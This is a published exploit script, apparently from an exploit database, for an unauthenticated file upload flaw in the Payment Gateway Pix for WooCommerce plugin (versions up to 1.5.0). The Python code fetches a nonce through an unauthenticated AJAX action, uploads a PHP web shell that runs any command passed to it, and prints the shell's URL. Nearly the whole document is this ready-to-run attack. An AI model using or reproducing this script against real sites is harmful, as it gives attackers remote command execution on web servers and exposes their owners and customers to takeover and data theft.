WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload

# Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2026-07-15
# Exploit Author: Mohammad Hossein Sadeghian
# Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
# Version: <= 1.5.0
# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7
# CVE: CVE-2026-3891

import requests
import sys


def print_banner():
    banner = r"""
    ____                      __   _   __     __
   / __ \________  ____ _____/ /  / | / /__  / /_
  / / / / ___/ _ \/ __ \/ __  /  /  |/ / _ \/ __/
 / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_
/_____/_/   \___/\__,_/\__,_/  /_/ |_/\___/\__/

Author: m4sh_wacker
    """
    print(banner)


def main():
    print_banner()

    target = input("[?] Enter target URL: ").strip().rstrip("/")

    if not target.startswith(("http://", "https://")):
        target = "http://" + target

    ajax_url = f"{target}/wp-admin/admin-ajax.php"

    filename = "woocommerce.php"
    content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'

    session = requests.Session()

    print("\n[*] Requesting nonce...")

    try:
        response = session.post(
            ajax_url,
            data={
                "action": "lkn_pix_for_woocommerce_generate_nonce",
                "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce"
            },
            timeout=10
        )

        result = response.json()
        nonce = result["data"]["nonce"]

        print(f"[+] Nonce obtained: {nonce}")

    except Exception as e:
        print(f"[-] Failed to obtain nonce: {e}")
        sys.exit(1)

    print(f"[*] Uploading {filename}...")

    try:
        response = session.post(
            ajax_url,
            data={
                "action": "lkn_pix_for_woocommerce_c6_save_settings",
                "_ajax_nonce": nonce
            },
            files={
                "certificate_crt_path": (
                    filename,
                    content,
                    "text/plain"
                )
            },
            timeout=10
        )

        result = response.json()

        if not result.get("success"):
            print("[-] Upload failed.")
            print(response.text)
            sys.exit(1)

    except Exception as e:
        print(f"[-] Upload error: {e}")
        sys.exit(1)

    uploaded_url = (
        f"{target}/wp-content/plugins/"
        f"payment-gateway-pix-for-woocommerce/"
        f"Includes/files/certs_c6/{filename}"
    )

    print("\n[+] File uploaded successfully!")
    print(f"[+] URL: {uploaded_url}")


if __name__ == "__main__":
    main()